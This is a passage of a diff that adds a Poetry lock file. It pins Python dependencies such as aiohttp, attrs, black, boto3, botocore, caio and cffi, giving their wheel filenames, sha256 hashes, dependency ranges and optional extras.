+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"},
+ {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"},
+]
+
+[package.dependencies]
+aiosignal = ">=1.1.2"
+async-timeout = ">=4.0.0a3,<5.0"
+attrs = ">=17.3.0"
+charset-normalizer = ">=2.0,<4.0"
+frozenlist = ">=1.1.1"
+multidict = ">=4.5,<7.0"
+yarl = ">=1.0,<2.0"
+
+[package.extras]
+speedups = ["Brotli", "aiodns", "cchardet"]
+
+[[package]]
+name = "aioitertools"
+version = "0.11.0"
+description = "itertools and builtins for AsyncIO and mixed iterables"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"},
+ {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"},
+]
+
+[package.dependencies]
+typing_extensions = {version = ">=4.0", markers = "python_version < \"3.10\""}
+
+[[package]]
+name = "aiormq"
+version = "6.6.4"
+description = "Pure python AMQP asynchronous client library"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"},
+ {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"},
+]
+
+[package.dependencies]
+pamqp = "3.2.1"
+yarl = "*"
+
+[[package]]
+name = "aiosignal"
+version = "1.3.1"
+description = "aiosignal: a list of registered asynchronous callbacks"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"},
+ {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"},
+]
+
+[package.dependencies]
+frozenlist = ">=1.1.0"
+
+[[package]]
+name = "async-timeout"
+version = "4.0.2"
+description = "Timeout context manager for asyncio programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"},
+ {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"},
+]
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "black"
+version = "22.12.0"
+description = "The uncompromising code formatter."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"},
+ {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"},
+ {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"},
+ {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"},
+ {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"},
+ {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"},
+ {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"},
+ {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"},
+ {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"},
+ {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"},
+ {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"},
+ {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"},
+]
+
+[package.dependencies]
+click = ">=8.0.0"
+mypy-extensions = ">=0.4.3"
+pathspec = ">=0.9.0"
+platformdirs = ">=2"
+tomli = {version = ">=1.1.0", markers = "python_full_version < \"3.11.0a7\""}
+typing-extensions = {version = ">=3.10.0.0", markers = "python_version < \"3.10\""}
+
+[package.extras]
+colorama = ["colorama (>=0.4.3)"]
+d = ["aiohttp (>=3.7.4)"]
+jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"]
+uvloop = ["uvloop (>=0.15.2)"]
+
+[[package]]
+name = "boto3"
+version = "1.24.59"
+description = "The AWS SDK for Python"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"},
+ {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"},
+]
+
+[package.dependencies]
+botocore = ">=1.27.59,<1.28.0"
+jmespath = ">=0.7.1,<2.0.0"
+s3transfer = ">=0.6.0,<0.7.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.21.0,<2.0a0)"]
+
+[[package]]
+name = "botocore"
+version = "1.27.59"
+description = "Low-level, data-driven core of boto 3."
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"},
+ {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"},
+]
+
+[package.dependencies]
+jmespath = ">=0.7.1,<2.0.0"
+python-dateutil = ">=2.1,<3.0.0"
+urllib3 = ">=1.25.4,<1.27"
+
+[package.extras]
+crt = ["awscrt (==0.14.0)"]
+
+[[package]]
+name = "caio"
+version = "0.9.12"
+description = "Asynchronous file IO for Linux MacOS or Windows."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"},
+ {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"},
+ {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"},
+ {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"},
+ {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"},
+]
+
+[package.extras]
+develop = ["aiomisc-pytest", "pytest", "pytest-cov"]
+
+[[package]]
+name = "certifi"
+version = "2023.5.7"
+description = "Python package for providing Mozilla's CA Bundle."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"},
+ {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
